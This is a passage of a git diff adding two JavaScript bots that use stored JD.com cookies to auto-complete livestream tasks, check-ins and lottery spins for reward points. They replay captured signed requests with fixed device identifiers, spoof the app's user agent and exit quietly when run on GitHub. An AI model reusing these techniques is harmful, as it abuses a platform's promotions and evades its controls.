this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_live.js b/jd_live.js new file mode 100644 index 0000000000..2314d369ab --- /dev/null +++ b/jd_live.js @@ -0,0 +1,285 @@ +/* +京东直播 +活动结束时间未知 +活动入口:京东APP首页-京东直播 +地址:https://h5.m.jd.com/babelDiy/Zeus/2zwQnu4WHRNfqMSdv69UPgpZMnE2/index.html/ +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东直播 +10-20/5 12 * * * jd_live.js, tag=京东直播, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "10-20/5 12 * * *" script-path=jd_live.js,tag=京东直播 + +===============Surge================= +京东直播 = type=cron,cronexp="10-20/5 12 * * *",wake-system=1,timeout=3600,script-path=jd_live.js + +============小火箭========= +京东直播 = type=cron,script-path=jd_live.js, cronexpr="10-20/5 12 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东直播'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await jdHealth() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdHealth() { + $.bean = 0 + await getTaskList() + await sign() + message += `领奖完成,共计获得 ${$.bean} 京豆\n` + await showMsg(); +} + +function getTs() { + return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +// 开始看 +function getTaskList() { + let body = {"timestamp": new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000 } + return new Promise(resolve => { + $.get(taskUrl("liveChannelTaskListToM", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + await superTask() + await awardTask("starViewTask") + console.log(`去做分享直播间任务`) + await shareTask() + await awardTask() + console.log(`去做浏览直播间任务`) + await viewTask() + await awardTask("commonViewTask") + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function superTask() { + let body = 'body=%7B%22liveId%22%3A%223019486%22%2C%22type%22%3A%22viewTask%22%2C%22authorId%22%3A%22681523%22%2C%22extra%22%3A%7B%22time%22%3A200%7D%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone10%2C2&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=194&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=68c0d87a5de62711bab9e6e796c08170&st=1607778652966&sv=100&uts=0f31TVRjBSsySvX9aqk89gHBMqz5E28EYCqc3cRu/4%2Bv0EzRuStHwMI1R5P9RqeizLow/pAquaX1v5IJQGVxUzSfExCFmfO0L7BEMvXnkeCZhKEsmSkbQm54W7ig8aRsmHiXp7YT/SOV7sEKxXauv59O/SAAFkr1egGgKev7Uj81nJRFDnNRSomlrOj2jQzH6iddCTSpydcSYRnDyDcodA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D' + return new Promise(resolve => { + $.post(taskPostUrl("liveChannelReportDataV912", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function viewTask() { + let body = 'body=%7B%22liveId%22%3A%223008300%22%2C%22type%22%3A%22viewTask%22%2C%22authorId%22%3A%22644894%22%2C%22extra%22%3A%7B%22time%22%3A120%7D%7D&build=167408&client=apple&clientVersion=9.2.0&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=194&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=01&sign=90e14adc21c4bf31232a1ded5f4ba40e&st=1607561111999&sv=111&uts=0f31TVRjBSsxGLJHVBkddxFxBqY/8qFkrfEYLL0gkhB/JVGyEYIoD8r5rLvootZziQYAUyvIPogdJpesEuOMmvlisDx6AR2SEsfp381xPoggwvq8XaMYlOnHUV66TZiSfC%2BSgcLpB2v9cy/0Z41tT%2BuLheoEwBwDDYzANkZjncUI9PDCWpCg5/i0A14XfnsUTfQHbMqa3vwsY6QtsbNsgA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D' + return new Promise(resolve => { + $.post(taskPostUrl("liveChannelReportDataV912", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function shareTask() { + let body = 'body=%7B%22liveId%22%3A%222995233%22%2C%22type%22%3A%22shareTask%22%2C%22authorId%22%3A%22682780%22%2C%22extra%22%3A%7B%22num%22%3A1%7D%7D&build=167408&client=apple&clientVersion=9.2.0&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=Y&joycious=194&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=01&screen=1242%2A2208&sign=457d557a0902f43cbdf9fb735d2bcd64&st=1607559819969&sv=110&uts=0f31TVRjBSsxGLJHVBkddxFxBqY/8qFkrfEYLL0gkhB/JVGyEYIoD8r5rLvootZziQYAUyvIPogdJpesEuOMmvlisDx6AR2SEsfp381xPoggwvq8XaMYlOnHUV66TZiSfC%2BSgcLpB2v9cy/0Z41tT%2BuLheoEwBwDDYzANkZjncUI9PDCWpCg5/i0A14XfnsUTfQHbMqa3vwsY6QtsbNsgA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D' + return new Promise(resolve => { + $.post(taskPostUrl("liveChannelReportDataV912", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function awardTask(type="shareTask") { + let body = `functionId=getChannelTaskRewardToM&appid=h5-live&body=%7B%22type%22%3A%22${type}%22%2C%22liveId%22%3A%222942545%22%7D&v=${getTs()}` + return new Promise(resolve => { + $.post(taskPostUrl(null, body,"https://api.m.jd.com/api"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === "0") { + $.bean += data.sum + console.log(`任务领奖成功,获得 ${data.sum} 京豆`); + message += `任务领奖成功,获得 ${data.sum} 京豆\n` + } else { + console.log(`任务领奖失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function sign() { + return new Promise(resolve => { + $.get(taskUrl("getChannelTaskRewardToM", {"type":"signTask","itemId":"1"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === "0") { + $.bean += data.sum + console.log(`签到领奖成功,获得 ${data.sum} 京豆`); + message += `任务领奖成功,获得 ${data.sum} 京豆\n` + } else { + console.log(`任务领奖失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function taskPostUrl(function_id, body = {}, url=null) { + if(!url) url = `${JD_API_HOST}?functionId=${function_id}` + return { + url: url, + body: body, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=h5-live&body=${escape(JSON.stringify(body))}&v=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_market_lottery.js b/jd_market_lottery.js new file mode 100644 index 0000000000..6945b2aa61 --- /dev/null +++ b/jd_market_lottery.js @@ -0,0 +1,188 @@ +// author: 疯疯 +/* +幸运大转盘 +活动地址:https://pro.m.jd.com/mall/active/3ryu78eKuLyY5YipWWVSeRQEpLQP/index.html +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +==============Quantumult X============== +[task_local] +#幸运大转盘 +4 10 * * * jd_market_lottery.js, tag=幸运大转盘, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +==============Loon============== +[Script] +cron "4 10 * * *" script-path=jd_market_lottery.js,tag=幸运大转盘 + +================Surge=============== +幸运大转盘 = type=cron,cronexp="4 10 * * *",wake-system=1,timeout=3600,script-path=jd_market_lottery.js + +===============小火箭========== +幸运大转盘 = type=cron,script-path=jd_market_lottery.js, cronexpr="4 10 * * *", timeout=3600, enable=true +*/ + +const $ = new Env("幸运大转盘"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +let cookiesArr = [], + cookie = "", + allMsg = ''; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + console.log(`如果出现提示 ?.data. 错误,请升级nodejs版本(进入容器后,apk add nodejs-current)`) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/client.action"; +!(async () => { + if (!cookiesArr[0]) { + $.msg( + $.name, + "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", + "https://bean.m.jd.com/", + {"open-url": "https://bean.m.jd.com/"} + ); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent( + cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + ); + $.index = i + 1; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await main() + } + } + await showMsg() +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); +function showMsg() { + return new Promise(async resolve => { + if (allMsg) $.msg($.name, '', allMsg); + resolve(); + }) +} +async function main() { + await getInfo('https://pro.m.jd.com/mall/active/3ryu78eKuLyY5YipWWVSeRQEpLQP/index.html') + await getInfo('https://pro.m.jd.com/mall/active/3ryu78eKuLyY5YipWWVSeRQEpLQP/index.html') +} +async function getInfo(url) { + return new Promise(resolve=>{ + $.get({ + url, + headers:{ + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + },async (err,resp,data)=>{ + try{ + if(err){ + + }else{ + data = $.toObj(data.match(/window.__react_data__ = (\{.*\})/)[1]) + let taskList = data?.activityData?.floorList?.filter(vo=>vo.template==='score_task')[0] + //console.log(data?.activityData?.floorList) + for(let vo of taskList['taskItemList']){ + for(let i = vo.joinTimes; i< vo.taskLimit;++i){ + console.log(`去完成${vo?.flexibleData?.taskName ?? vo.enAwardK}任务,第${i+1}次`) + await doTask(vo.enAwardK) + await $.wait(500) + } + } + let lottery = data?.activityData?.floorList?.filter(vo=>vo.template==='choujiang_wheel')[0] + //console.log(lottery) + const {userScore,lotteryScore} = lottery.lotteryGuaGuaLe + if(lotteryScore<=userScore) { + console.log(`抽奖需要${lotteryScore},当前${userScore}分,去抽奖`) + await doLottery("a84f9428da0bb36a6a11884c54300582") + } else { + console.log(`当前积分已不足去抽奖`) + } + } + }catch (e) { + + }finally { + resolve() + } + + }) + }) +} +function doTask(enAwardK) { + return new Promise(resolve => { + $.post(taskUrl('babelDoScoreTask',{enAwardK,"isQueryResult":0,"siteClient":"apple","mitemAddrId":"","geo":{"lng":"","lat":""},"addressId":"","posLng":"","posLat":"","homeLng":"","homeLat":"","focus":"","innerAnchor":"","cv":"2.0"}), + (err,resp,data)=>{ + try{ + if(err){ + + }else{ + data = $.toObj(data) + console.log(data.promptMsg) + } + }catch (e) { + + }finally { + resolve() + } + }) + }) +} +function doLottery(enAwardK,authType="2") { + return new Promise(resolve => { + $.post(taskUrl('babelGetLottery',{enAwardK,authType}), + (err,resp,data)=>{ + try{ + if(err){ + + }else{ + data = $.toObj(data) + console.log(data.promptMsg) + allMsg += 